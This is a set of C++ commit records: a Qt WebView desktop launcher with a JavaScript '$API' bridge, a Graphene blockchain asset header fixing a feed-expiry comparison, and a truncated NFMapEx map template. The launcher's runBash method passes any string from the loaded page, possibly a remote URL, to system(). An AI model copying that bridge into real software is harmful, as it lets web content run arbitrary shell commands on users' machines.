if (QString(argv[5]) == "BOTTOM_MOST") {
view->setWindowFlags(Qt::WindowStaysOnBottomHint | view->windowFlags());
} else if (QString(argv[5]) == "TOP_MOST") {
view->setWindowFlags(Qt::WindowStaysOnTopHint | view->windowFlags());
}
// add the public api functions
view->page()->mainFrame()->addToJavaScriptWindowObject("$API", new MyJavaScriptOperations);
// resize the window
view->resize(WINDOW_WIDTH, WINDOW_HEIGHT);
// load that HTML file or website
view->load(QUrl(HTML_PATH));
// show the web view
view->show();
return app.exec();
}
#include "main.moc"
<commit_msg>Call inspectElement from JS.<commit_after>#include "mainwindow.h"
#include <QWebView>
#include <QtWidgets>
#include <QWebFrame>
#include <QDir>
#include <QApplication>
#include <QDebug>
#include <QWebPage>
#include <QObject>
#include <QWindow>
#include <QWebInspector>
/*
* Utility:
* ./exectuable pageAddress width height decoration (BOTTOM_MOST)
*
* - pageAddress: the html file path or url
* - width: integer that represent the width of the window
* - height: integer that represent the height of the window
* - decoration: if it is "UNDECORATED" the window will be undecorated (it will not have
* borders and the window buttons
*
* */
QWebView *webView;
/*
* Javascript functions (Public API)
* */
class MyJavaScriptOperations : public QObject {
Q_OBJECT
public:
/*
* Close window
* $API.closeWindow();
*
**/
Q_INVOKABLE void closeWindow () {
webView->close();
}
/*
* Resize
* $API.resize(width, height);
*
**/
Q_INVOKABLE void resize (int width, int height) {
webView->resize(width, height);
}
/*
* Set window flags
* $API.setWindowFlags (type)
* - UNDECORATED
*
* */
Q_INVOKABLE void setWindowFlags (QString type) {
QStringList options;
options << "UNDECORATED"
<< "BOTTOM_MOST"
<< "TOP_MOST"
<< "REMOVE_MINIMIZE"
<< "REMOVE_MAXIMIZE"
<< "REMOVE_CLOSE";
switch (options.indexOf(type)) {
case 0:
webView->setWindowFlags(Qt::FramelessWindowHint | webView->windowFlags());
webView->show();
break;
case 1:
webView->setWindowFlags(Qt::WindowStaysOnBottomHint | webView->windowFlags());
webView->show();
break;
case 2:
webView->setWindowFlags(Qt::WindowStaysOnTopHint | webView->windowFlags());
webView->show();
break;
case 3:
webView->setWindowFlags(webView->windowFlags() & ~Qt::WindowMinimizeButtonHint);
webView->show();
break;
case 4:
webView->setWindowFlags(webView->windowFlags() & ~Qt::WindowMaximizeButtonHint);
webView->show();
break;
case 5:
webView->setWindowFlags(webView->windowFlags() & ~Qt::WindowCloseButtonHint);
webView->show();
break;
// TODO Other cases
}
}
/*
* Set window state
* $API.setWindowState (value)
* - MAXIMIZED
* - MINIMIZED
* - FULLSCREEN
* - ACTIVE
* */
Q_INVOKABLE void setWindowState (QString type) {
QStringList options;
options << "MAXIMIZED" << "MINIMIZED" << "FULLSCREEN" << "ACTIVATE" << "RESTORED";
switch (options.indexOf(type)) {
case 0:
webView->setWindowState(Qt::WindowMaximized);
break;
case 1:
webView->setWindowState(Qt::WindowMinimized);
break;
case 2:
webView->setWindowState(Qt::WindowFullScreen);
break;
case 3:
webView->setWindowState(Qt::WindowActive);
break;
case 4:
webView->setWindowState(Qt::WindowNoState);
break;
}
}
/*
* Get window size
* $API.getWindowSize ()
* */
Q_INVOKABLE QObject *getWindowSize () {
QObject *size = new QObject();
QSize winSize = webView->size();
size->setProperty("width", winSize.width());
size->setProperty("height", winSize.height());
return size;
}
/*
* Get screen size
* $API.getScreenSize ()
*
* */
Q_INVOKABLE QObject *getScreenSize () {
QObject *size = new QObject();
QSize screenSize = qApp->primaryScreen()->size();
size->setProperty("width", screenSize.width());
size->setProperty("height", screenSize.height());
return size;
}
/*
* Set window position
* $API.setWindowPosition (left, top)
* */
Q_INVOKABLE void setWindowPosition (int left, int top) {
webView->move(left, top);
}
/*
* Get window position
* $API.getWindowPosition (left, top)
* */
Q_INVOKABLE QObject *getWindowPosition () {
QObject *position = new QObject();
QPoint point = webView->pos();
position->setProperty("left", point.x());
position->setProperty("top", point.y());
return position;
}
/*
* Get mouse position
* $API.getMousePosition()
*
* */
Q_INVOKABLE QObject *getMousePosition () {
QObject *position = new QObject();
QPoint point = QCursor::pos();
position->setProperty("left", point.x());
position->setProperty("top", point.y());
return position;
}
/*
* Set mouse position
* $API.setMousePosition()
*
* */
Q_INVOKABLE void setMousePosition (int x, int y) {
QCursor::setPos(x, y);
}
/*
* Creates a new window
* $API.newWindow(options);
* */
// TODO Is this really needed?
// Q_INVOKABLE void newWindow () {
// QWindow newWindow = new QWindow();
// newWindow.show();
// }
/*
* Sets the title of the current window
* $API.setWindowTitle(newTitle)
*
* */
Q_INVOKABLE void setWindowTitle (QString newTitle) {
webView->setWindowTitle(newTitle);
}
/*
* Debug
* $API.debug(message)
*
* */
Q_INVOKABLE void debug (QString message) {
qDebug() << message;
}
/*
* Insepct element
* $API.inspectElement()
*
* */
Q_INVOKABLE void inspectElement () {
webView->page()->settings()->setAttribute(QWebSettings::DeveloperExtrasEnabled, true);
QWebInspector inspector;
inspector.setPage(webView->page());
inspector.setVisible(true);
}
/*
* Run bash commands
* $API.debug(command)
*
* */
Q_INVOKABLE void runBash (QString command) {
system(qPrintable(command));
// TODO return output (e.g for `ps aux`)
}
};
int main(int argc, char *argv[])
{
QApplication app(argc, argv);
// build the web view
QWebView *view = new QWebView();
webView = view;
// get the html path
QString HTML_PATH = QString(argv[1]);
// the path is NOT a web site url
if (!HTML_PATH.startsWith("htt"))
{
// get it from the local machine
HTML_PATH = "file://" + QDir::current().absolutePath() + QDir::separator() + HTML_PATH;
}
// set window width and height
int WINDOW_WIDTH = QString(argv[2]).toInt();
int WINDOW_HEIGHT = QString(argv[3]).toInt();
// handle "UNDECORATED" flag
if (QString(argv[4]) == "UNDECORATED") {
// set background transparent for webview
QPalette pal = view->palette();
pal.setBrush(QPalette::Base, Qt::transparent);
view->page()->setPalette(pal);
view->setAttribute(Qt::WA_TranslucentBackground);
view->setWindowFlags(Qt::FramelessWindowHint | view->windowFlags());
}
QStringList appArgv = app.arguments();
if (appArgv.contains("--debug")) {
qDebug() << " * Debug mode.";
view->page()->settings()->setAttribute(QWebSettings::DeveloperExtrasEnabled, true);
QWebInspector inspector;
inspector.setPage(view->page());
inspector.setVisible(true);
}
if (QString(argv[5]) == "BOTTOM_MOST") {
view->setWindowFlags(Qt::WindowStaysOnBottomHint | view->windowFlags());
} else if (QString(argv[5]) == "TOP_MOST") {
view->setWindowFlags(Qt::WindowStaysOnTopHint | view->windowFlags());
}
// add the public api functions
view->page()->mainFrame()->addToJavaScriptWindowObject("$API", new MyJavaScriptOperations);
// resize the window
view->resize(WINDOW_WIDTH, WINDOW_HEIGHT);
// load that HTML file or website
view->load(QUrl(HTML_PATH));
// show the web view
view->show();
return app.exec();
}
#include "main.moc"
<|endoftext|>
|
<commit_before>/*
* Copyright (c) 2015 Cryptonomex, Inc., and contributors.
*
* The MIT License
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
#pragma once
#include <graphene/chain/protocol/asset_ops.hpp>
#include <boost/multi_index/composite_key.hpp>
#include <graphene/db/flat_index.hpp>
#include <graphene/db/generic_index.hpp>
/**
* @defgroup prediction_market Prediction Market
*
* A prediction market is a specialized BitAsset such that total debt and total collateral are always equal amounts
* (although asset IDs differ). No margin calls or force settlements may be performed on a prediction market asset. A
* prediction market is globally settled by the issuer after the event being predicted resolves, thus a prediction
* market must always have the @ref global_settle permission enabled. The maximum price for global settlement or short
* sale of a prediction market asset is 1-to-1.
*/
namespace graphene { namespace chain {
class account_object;
class database;
using namespace graphene::db;
/**
* @brief tracks the asset information that changes frequently
* @ingroup object
* @ingroup implementation
*
* Because the asset_object is very large it doesn't make sense to save an undo state
* for all of the parameters that never change. This object factors out the parameters
* of an asset that change in almost every transaction that involves the asset.
*
* This object exists as an implementation detail and its ID should never be referenced by
* a blockchain operation.
*/
class asset_dynamic_data_object : public abstract_object<asset_dynamic_data_object>
{
public:
static const uint8_t space_id = implementation_ids;
static const uint8_t type_id = impl_asset_dynamic_data_type;
/// The number of shares currently in existence
share_type current_supply;
share_type confidential_supply; ///< total asset held in confidential balances
share_type accumulated_fees; ///< fees accumulate to be paid out over time
share_type fee_pool; ///< in core asset
};
/**
* @brief tracks the parameters of an asset
* @ingroup object
*
* All assets have a globally unique symbol name that controls how they are traded and an issuer who
* has authority over the parameters of the asset.
*/
class asset_object : public graphene::db::abstract_object<asset_object>
{
public:
static const uint8_t space_id = protocol_ids;
static const uint8_t type_id = asset_object_type;
/// This function does not check if any registered asset has this symbol or not; it simply checks whether the
/// symbol would be valid.
/// @return true if symbol is a valid ticker symbol; false otherwise.
static bool is_valid_symbol( const string& symbol );
/// @return true if this is a market-issued asset; false otherwise.
bool is_market_issued()const { return bitasset_data_id.valid(); }
/// @return true if users may request force-settlement of this market-issued asset; false otherwise
bool can_force_settle()const { return !(options.flags & disable_force_settle); }
/// @return true if the issuer of this market-issued asset may globally settle the asset; false otherwise
bool can_global_settle()const { return options.issuer_permissions & global_settle; }
/// @return true if this asset charges a fee for the issuer on market operations; false otherwise
bool charges_market_fees()const { return options.flags & charge_market_fee; }
/// @return true if this asset may only be transferred to/from the issuer or market orders
bool is_transfer_restricted()const { return options.flags & transfer_restricted; }
bool can_override()const { return options.flags & override_authority; }
bool allow_confidential()const { return !(options.flags & asset_issuer_permission_flags::disable_confidential); }
/// Helper function to get an asset object with the given amount in this asset's type
asset amount(share_type a)const { return asset(a, id); }
/// Convert a string amount (i.e. "123.45") to an asset object with this asset's type
/// The string may have a decimal and/or a negative sign.
asset amount_from_string(string amount_string)const;
/// Convert an asset to a textual representation, i.e. "123.45"
string amount_to_string(share_type amount)const;
/// Convert an asset to a textual representation, i.e. "123.45"
string amount_to_string(const asset& amount)const
{ FC_ASSERT(amount.asset_id == id); return amount_to_string(amount.amount); }
/// Convert an asset to a textual representation with symbol, i.e. "123.45 USD"
string amount_to_pretty_string(share_type amount)const
{ return amount_to_string(amount) + " " + symbol; }
/// Convert an asset to a textual representation with symbol, i.e. "123.45 USD"
string amount_to_pretty_string(const asset &amount)const
{ FC_ASSERT(amount.asset_id == id); return amount_to_pretty_string(amount.amount); }
/// Ticker symbol for this asset, i.e. "USD"
string symbol;
/// Maximum number of digits after the decimal point (must be <= 12)
uint8_t precision = 0;
/// ID of the account which issued this asset.
account_id_type issuer;
asset_options options;
/// Current supply, fee pool, and collected fees are stored in a separate object as they change frequently.
asset_dynamic_data_id_type dynamic_asset_data_id;
/// Extra data associated with BitAssets. This field is non-null if and only if is_market_issued() returns true
optional<asset_bitasset_data_id_type> bitasset_data_id;
optional<account_id_type> buyback_account;
asset_id_type get_id()const { return id; }
void validate()const
{
// UIAs may not be prediction markets, have force settlement, or global settlements
if( !is_market_issued() )
{
FC_ASSERT(!(options.flags & disable_force_settle || options.flags & global_settle));
FC_ASSERT(!(options.issuer_permissions & disable_force_settle || options.issuer_permissions & global_settle));
}
}
template<class DB>
const asset_bitasset_data_object& bitasset_data(const DB& db)const
{ assert(bitasset_data_id); return db.get(*bitasset_data_id); }
template<class DB>
const asset_dynamic_data_object& dynamic_data(const DB& db)const
{ return db.get(dynamic_asset_data_id); }
/**
* The total amount of an asset that is reserved for future issuance.
*/
template<class DB>
share_type reserved( const DB& db )const
{ return options.max_supply - dynamic_data(db).current_supply; }
};
/**
* @brief contains properties that only apply to bitassets (market issued assets)
*
* @ingroup object
* @ingroup implementation
*/
class asset_bitasset_data_object : public abstract_object<asset_bitasset_data_object>
{
public:
static const uint8_t space_id = implementation_ids;
static const uint8_t type_id = impl_asset_bitasset_data_type;
/// The tunable options for BitAssets are stored in this field.
bitasset_options options;
/// Feeds published for this asset. If issuer is not committee, the keys in this map are the feed publishing
/// accounts; otherwise, the feed publishers are the currently active committee_members and witnesses and this map
/// should be treated as an implementation detail. The timestamp on each feed is the time it was published.
flat_map<account_id_type, pair<time_point_sec,price_feed>> feeds;
/// This is the currently active price feed, calculated as the median of values from the currently active
/// feeds.
price_feed current_feed;
/// This is the publication time of the oldest feed which was factored into current_feed.
time_point_sec current_feed_publication_time;
/// True if this asset implements a @ref prediction_market
bool is_prediction_market = false;
/// This is the volume of this asset which has been force-settled this maintanence interval
share_type force_settled_volume;
/// Calculate the maximum force settlement volume per maintenance interval, given the current share supply
share_type max_force_settlement_volume(share_type current_supply)const;
/** return true if there has been a black swan, false otherwise */
bool has_settlement()const { return !settlement_price.is_null(); }
/**
* In the event of a black swan, the swan price is saved in the settlement price, and all margin positions
* are settled at the same price with the siezed collateral being moved into the settlement fund. From this
* point on no further updates to the asset are permitted (no feeds, etc) and forced settlement occurs
* immediately when requested, using the settlement price and fund.
*/
///@{
/// Price at which force settlements of a black swanned asset will occur
price settlement_price;
/// Amount of collateral which is available for force settlement
share_type settlement_fund;
///@}
time_point_sec feed_expiration_time()const
{ return current_feed_publication_time + options.feed_lifetime_sec; }
bool feed_is_expired_before_hardfork_615(time_point_sec current_time)const
{ return feed_expiration_time() >= current_time; }
bool feed_is_expired(time_point_sec current_time)const
{ return feed_expiration_time() >= current_time; }
void update_median_feeds(time_point_sec current_time);
};
struct by_feed_expiration;
typedef multi_index_container<
asset_bitasset_data_object,
indexed_by<
ordered_unique< tag<by_id>, member< object, object_id_type, &object::id > >,
ordered_non_unique< tag<by_feed_expiration>,
const_mem_fun< asset_bitasset_data_object, time_point_sec, &asset_bitasset_data_object::feed_expiration_time >
>
>
> asset_bitasset_data_object_multi_index_type;
typedef flat_index<asset_bitasset_data_object> asset_bitasset_data_index;
struct by_symbol;
struct by_type;
typedef multi_index_container<
asset_object,
indexed_by<
ordered_unique< tag<by_id>, member< object, object_id_type, &object::id > >,
ordered_unique< tag<by_symbol>, member<asset_object, string, &asset_object::symbol> >,
ordered_unique< tag<by_type>,
composite_key< asset_object,
const_mem_fun<asset_object, bool, &asset_object::is_market_issued>,
member< object, object_id_type, &object::id >
>
>
>
> asset_object_multi_index_type;
typedef generic_index<asset_object, asset_object_multi_index_type> asset_index;
} } // graphene::chain
FC_REFLECT_DERIVED( graphene::chain::asset_dynamic_data_object, (graphene::db::object),
(current_supply)(confidential_supply)(accumulated_fees)(fee_pool) )
FC_REFLECT_DERIVED( graphene::chain::asset_bitasset_data_object, (graphene::db::object),
(feeds)
(current_feed)
(current_feed_publication_time)
(options)
(force_settled_volume)
(is_prediction_market)
(settlement_price)
(settlement_fund)
)
FC_REFLECT_DERIVED( graphene::chain::asset_object, (graphene::db::object),
(symbol)
(precision)
(issuer)
(options)
(dynamic_asset_data_id)
(bitasset_data_id)
(buyback_account)
)
<commit_msg>Fix accidental reversion of #615 fix by b175cc7feb4accaeab5e85ebfcddfe7d2264c422<commit_after>/*
* Copyright (c) 2015 Cryptonomex, Inc., and contributors.
*
* The MIT License
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
#pragma once
#include <graphene/chain/protocol/asset_ops.hpp>
#include <boost/multi_index/composite_key.hpp>
#include <graphene/db/flat_index.hpp>
#include <graphene/db/generic_index.hpp>
/**
* @defgroup prediction_market Prediction Market
*
* A prediction market is a specialized BitAsset such that total debt and total collateral are always equal amounts
* (although asset IDs differ). No margin calls or force settlements may be performed on a prediction market asset. A
* prediction market is globally settled by the issuer after the event being predicted resolves, thus a prediction
* market must always have the @ref global_settle permission enabled. The maximum price for global settlement or short
* sale of a prediction market asset is 1-to-1.
*/
namespace graphene { namespace chain {
class account_object;
class database;
using namespace graphene::db;
/**
* @brief tracks the asset information that changes frequently
* @ingroup object
* @ingroup implementation
*
* Because the asset_object is very large it doesn't make sense to save an undo state
* for all of the parameters that never change. This object factors out the parameters
* of an asset that change in almost every transaction that involves the asset.
*
* This object exists as an implementation detail and its ID should never be referenced by
* a blockchain operation.
*/
class asset_dynamic_data_object : public abstract_object<asset_dynamic_data_object>
{
public:
static const uint8_t space_id = implementation_ids;
static const uint8_t type_id = impl_asset_dynamic_data_type;
/// The number of shares currently in existence
share_type current_supply;
share_type confidential_supply; ///< total asset held in confidential balances
share_type accumulated_fees; ///< fees accumulate to be paid out over time
share_type fee_pool; ///< in core asset
};
/**
* @brief tracks the parameters of an asset
* @ingroup object
*
* All assets have a globally unique symbol name that controls how they are traded and an issuer who
* has authority over the parameters of the asset.
*/
class asset_object : public graphene::db::abstract_object<asset_object>
{
public:
static const uint8_t space_id = protocol_ids;
static const uint8_t type_id = asset_object_type;
/// This function does not check if any registered asset has this symbol or not; it simply checks whether the
/// symbol would be valid.
/// @return true if symbol is a valid ticker symbol; false otherwise.
static bool is_valid_symbol( const string& symbol );
/// @return true if this is a market-issued asset; false otherwise.
bool is_market_issued()const { return bitasset_data_id.valid(); }
/// @return true if users may request force-settlement of this market-issued asset; false otherwise
bool can_force_settle()const { return !(options.flags & disable_force_settle); }
/// @return true if the issuer of this market-issued asset may globally settle the asset; false otherwise
bool can_global_settle()const { return options.issuer_permissions & global_settle; }
/// @return true if this asset charges a fee for the issuer on market operations; false otherwise
bool charges_market_fees()const { return options.flags & charge_market_fee; }
/// @return true if this asset may only be transferred to/from the issuer or market orders
bool is_transfer_restricted()const { return options.flags & transfer_restricted; }
bool can_override()const { return options.flags & override_authority; }
bool allow_confidential()const { return !(options.flags & asset_issuer_permission_flags::disable_confidential); }
/// Helper function to get an asset object with the given amount in this asset's type
asset amount(share_type a)const { return asset(a, id); }
/// Convert a string amount (i.e. "123.45") to an asset object with this asset's type
/// The string may have a decimal and/or a negative sign.
asset amount_from_string(string amount_string)const;
/// Convert an asset to a textual representation, i.e. "123.45"
string amount_to_string(share_type amount)const;
/// Convert an asset to a textual representation, i.e. "123.45"
string amount_to_string(const asset& amount)const
{ FC_ASSERT(amount.asset_id == id); return amount_to_string(amount.amount); }
/// Convert an asset to a textual representation with symbol, i.e. "123.45 USD"
string amount_to_pretty_string(share_type amount)const
{ return amount_to_string(amount) + " " + symbol; }
/// Convert an asset to a textual representation with symbol, i.e. "123.45 USD"
string amount_to_pretty_string(const asset &amount)const
{ FC_ASSERT(amount.asset_id == id); return amount_to_pretty_string(amount.amount); }
/// Ticker symbol for this asset, i.e. "USD"
string symbol;
/// Maximum number of digits after the decimal point (must be <= 12)
uint8_t precision = 0;
/// ID of the account which issued this asset.
account_id_type issuer;
asset_options options;
/// Current supply, fee pool, and collected fees are stored in a separate object as they change frequently.
asset_dynamic_data_id_type dynamic_asset_data_id;
/// Extra data associated with BitAssets. This field is non-null if and only if is_market_issued() returns true
optional<asset_bitasset_data_id_type> bitasset_data_id;
optional<account_id_type> buyback_account;
asset_id_type get_id()const { return id; }
void validate()const
{
// UIAs may not be prediction markets, have force settlement, or global settlements
if( !is_market_issued() )
{
FC_ASSERT(!(options.flags & disable_force_settle || options.flags & global_settle));
FC_ASSERT(!(options.issuer_permissions & disable_force_settle || options.issuer_permissions & global_settle));
}
}
template<class DB>
const asset_bitasset_data_object& bitasset_data(const DB& db)const
{ assert(bitasset_data_id); return db.get(*bitasset_data_id); }
template<class DB>
const asset_dynamic_data_object& dynamic_data(const DB& db)const
{ return db.get(dynamic_asset_data_id); }
/**
* The total amount of an asset that is reserved for future issuance.
*/
template<class DB>
share_type reserved( const DB& db )const
{ return options.max_supply - dynamic_data(db).current_supply; }
};
/**
* @brief contains properties that only apply to bitassets (market issued assets)
*
* @ingroup object
* @ingroup implementation
*/
class asset_bitasset_data_object : public abstract_object<asset_bitasset_data_object>
{
public:
static const uint8_t space_id = implementation_ids;
static const uint8_t type_id = impl_asset_bitasset_data_type;
/// The tunable options for BitAssets are stored in this field.
bitasset_options options;
/// Feeds published for this asset. If issuer is not committee, the keys in this map are the feed publishing
/// accounts; otherwise, the feed publishers are the currently active committee_members and witnesses and this map
/// should be treated as an implementation detail. The timestamp on each feed is the time it was published.
flat_map<account_id_type, pair<time_point_sec,price_feed>> feeds;
/// This is the currently active price feed, calculated as the median of values from the currently active
/// feeds.
price_feed current_feed;
/// This is the publication time of the oldest feed which was factored into current_feed.
time_point_sec current_feed_publication_time;
/// True if this asset implements a @ref prediction_market
bool is_prediction_market = false;
/// This is the volume of this asset which has been force-settled this maintanence interval
share_type force_settled_volume;
/// Calculate the maximum force settlement volume per maintenance interval, given the current share supply
share_type max_force_settlement_volume(share_type current_supply)const;
/** return true if there has been a black swan, false otherwise */
bool has_settlement()const { return !settlement_price.is_null(); }
/**
* In the event of a black swan, the swan price is saved in the settlement price, and all margin positions
* are settled at the same price with the siezed collateral being moved into the settlement fund. From this
* point on no further updates to the asset are permitted (no feeds, etc) and forced settlement occurs
* immediately when requested, using the settlement price and fund.
*/
///@{
/// Price at which force settlements of a black swanned asset will occur
price settlement_price;
/// Amount of collateral which is available for force settlement
share_type settlement_fund;
///@}
time_point_sec feed_expiration_time()const
{ return current_feed_publication_time + options.feed_lifetime_sec; }
bool feed_is_expired_before_hardfork_615(time_point_sec current_time)const
{ return feed_expiration_time() >= current_time; }
bool feed_is_expired(time_point_sec current_time)const
{ return feed_expiration_time() <= current_time; }
void update_median_feeds(time_point_sec current_time);
};
struct by_feed_expiration;
typedef multi_index_container<
asset_bitasset_data_object,
indexed_by<
ordered_unique< tag<by_id>, member< object, object_id_type, &object::id > >,
ordered_non_unique< tag<by_feed_expiration>,
const_mem_fun< asset_bitasset_data_object, time_point_sec, &asset_bitasset_data_object::feed_expiration_time >
>
>
> asset_bitasset_data_object_multi_index_type;
typedef flat_index<asset_bitasset_data_object> asset_bitasset_data_index;
struct by_symbol;
struct by_type;
typedef multi_index_container<
asset_object,
indexed_by<
ordered_unique< tag<by_id>, member< object, object_id_type, &object::id > >,
ordered_unique< tag<by_symbol>, member<asset_object, string, &asset_object::symbol> >,
ordered_unique< tag<by_type>,
composite_key< asset_object,
const_mem_fun<asset_object, bool, &asset_object::is_market_issued>,
member< object, object_id_type, &object::id >
>
>
>
> asset_object_multi_index_type;
typedef generic_index<asset_object, asset_object_multi_index_type> asset_index;
} } // graphene::chain
FC_REFLECT_DERIVED( graphene::chain::asset_dynamic_data_object, (graphene::db::object),
(current_supply)(confidential_supply)(accumulated_fees)(fee_pool) )
FC_REFLECT_DERIVED( graphene::chain::asset_bitasset_data_object, (graphene::db::object),
(feeds)
(current_feed)
(current_feed_publication_time)
(options)
(force_settled_volume)
(is_prediction_market)
(settlement_price)
(settlement_fund)
)
FC_REFLECT_DERIVED( graphene::chain::asset_object, (graphene::db::object),
(symbol)
(precision)
(issuer)
(options)
(dynamic_asset_data_id)
(bitasset_data_id)
(buyback_account)
)
<|endoftext|>
|
<commit_before>// -------------------------------------------------------------------------
// @FileName : NFMapEx.h
// @Author : LvSheng.Huang
// @Date : 2012-03-01
// @Module : ָר,мǣѭԼɾԼ
//
// -------------------------------------------------------------------------
#ifndef NF_MAPEX_H
#define NF_MAPEX_H
#include <map>
#include <list>
#include <string>
#include <iostream>
#include <typeinfo>
#include <memory>
#include "NFCConsistentHash.hpp"
#include "NFComm/NFPluginModule/NFPlatform.h"
template <typename T , typename TD>
class NFMapEx
{
public:
typedef std::map<T, NF_SHARE_PTR<TD> > NFMapOBJECT;
NFMapEx() {};
virtual ~NFMapEx()
{
};
virtual bool ExistElement(const T& name)
{
typename NFMapOBJECT::iterator itr = mObjectList.find(name);
if (itr != mObjectList.end())
{
return true;
}
else
{
return false;
}
}
/*
virtual NF_SHARE_PTR<TD> AddElement(const T& name)
{
typename NFMapOBJECT::iterator itr = mObjectList.find(name);
if (itr == mObjectList.end())
{
NF_SHARE_PTR<TD> data(NF_NEW TD());
mObjectList.insert(typename NFMapOBJECT::value_type(name, data));
return data;
}
return NF_SHARE_PTR<TD>();
}
*/
virtual bool AddElement(const T& name, const NF_SHARE_PTR<TD> data)
{
typename NFMapOBJECT::iterator itr = mObjectList.find(name);
if (itr == mObjectList.end())
{
mObjectList.insert(typename NFMapOBJECT::value_type(name, data));
return true;
}
return false;
}
virtual bool RemoveElement(const T& name)
{
typename NFMapOBJECT::iterator itr = mObjectList.find(name);
if (itr != mObjectList.end())
{
mObjectList.erase(itr);
return true;
}
return false;
}
virtual TD* GetElementNude(const T& name)
{
typename NFMapOBJECT::iterator itr = mObjectList.find(name);
if (itr != mObjectList.end())
{
return itr->second.get();
}
else
{
return NULL;
}
}
virtual NF_SHARE_PTR<TD> GetElement(const T& name)
{
typename NFMapOBJECT::iterator itr = mObjectList.find(name);
if (itr != mObjectList.end())
{
return itr->second;
}
else
{
return NF_SHARE_PTR<TD>();
}
}
virtual TD* FirstNude(T& name)
{
if (mObjectList.size() <= 0)
{
return NULL;
}
mObjectCurIter = mObjectList.begin();
if (mObjectCurIter != mObjectList.end())
{
name = mObjectCurIter->first;
return mObjectCurIter->second.get();
}
else
{
return NULL;
}
}
virtual TD* NextNude(T& name)
{
if (mObjectCurIter == mObjectList.end())
{
return NULL;
}
mObjectCurIter++;
if (mObjectCurIter != mObjectList.end())
{
name = mObjectCurIter->first;
return mObjectCurIter->second.get();
}
else
{
return NULL;
}
}
virtual TD* FirstNude()
{
if (mObjectList.size() <= 0)
{
return NULL;
}
mObjectCurIter = mObjectList.begin();
if (mObjectCurIter != mObjectList.end())
{
return mObjectCurIter->second.get();
}
else
{
return NULL;
}
}
virtual TD* NextNude()
{
if (mObjectCurIter == mObjectList.end())
{
return NULL;
}
mObjectCurIter++;
if (mObjectCurIter != mObjectList.end())
{
return mObjectCurIter->second.get();
}
else
{
return NULL;
}
}
virtual NF_SHARE_PTR<TD> First()
{
if (mObjectList.size() <= 0)
{
return NF_SHARE_PTR<TD>();
}
mObjectCurIter = mObjectList.begin();
if (mObjectCurIter != mObjectList.end())
{
return mObjectCurIter->second;
}
else
{
return NF_SHARE_PTR<TD>();
}
}
virtual NF_SHARE_PTR<TD> Next()
{
if (mObjectCurIter == mObjectList.end())
{
return NF_SHARE_PTR<TD>();
}
++mObjectCurIter;
if (mObjectCurIter != mObjectList.end())
{
return mObjectCurIter->second;
}
else
{
return NF_SHARE_PTR<TD>();
}
}
virtual NF_SHARE_PTR<TD> First(T& name)
{
if (mObjectList.size() <= 0)
{
return NF_SHARE_PTR<TD>();
}
mObjectCurIter = mObjectList.begin();
if (mObjectCurIter != mObjectList.end())
{
name = mObjectCurIter->first;
return mObjectCurIter->second;
}
else
{
return NF_SHARE_PTR<TD>();
}
}
virtual NF_SHARE_PTR<TD> Next(T& name)
{
if (mObjectCurIter == mObjectList.end())
{
return NF_SHARE_PTR<TD>();
}
mObjectCurIter++;
if (mObjectCurIter != mObjectList.end())
{
name = mObjectCurIter->first;
return mObjectCurIter->second;
}
else
{
return NF_SHARE_PTR<TD>();
}
}
int Count()
{
return (int)mObjectList.size();
}
bool ClearAll()
{
mObjectList.clear();
return true;
}
protected:
NFMapOBJECT mObjectList;
typename NFMapOBJECT::iterator mObjectCurIter;
};
template <typename T, typename TD>
class NFCConsistentHashMapEx : public NFMapEx<T, TD>
{
public:
virtual void InitHashNodeWeith(const int nWeigh = 500)
{
mnWeigh = nWeigh;
}
virtual NF_SHARE_PTR<TD> GetElementBySuit()
{
NFCVirtualNode<T> vNode;
if (mxConsistentHash.GetSuitNode(vNode))
{
typename NFMapEx<T, TD>::NFMapOBJECT::iterator itr = mObjectList.find(vNode.mxData);
if (itr != mObjectList.end())
{
return itr->second;
}
}
return NULL;
}
virtual NF_SHARE_PTR<TD> GetElementBySuit(const T& name)
{
NFCVirtualNode<T> vNode;
if (mxConsistentHash.GetSuitNode(name, vNode))
{
typename NFMapEx<T, TD>::NFMapOBJECT::iterator itr = mObjectList.find(vNode.mxData);
if (itr != mObjectList.end())
{
return itr->second;
}
}
return NULL;
}
virtual bool AddElement(const T& name, const NF_SHARE_PTR<TD> data)
{
typename NFMapEx<T, TD>::NFMapOBJECT::iterator itr = mObjectList.find(name);
if (itr == mObjectList.end())
{
mObjectList.insert(typename NFMapEx<T, TD>::NFMapOBJECT::value_type(name, data));
mxConsistentHash.Insert(name);
return true;
}
return false;
}
virtual bool RemoveElement(const T& name)
{
typename NFMapEx<T, TD>::NFMapOBJECT::iterator itr = mObjectList.find(name);
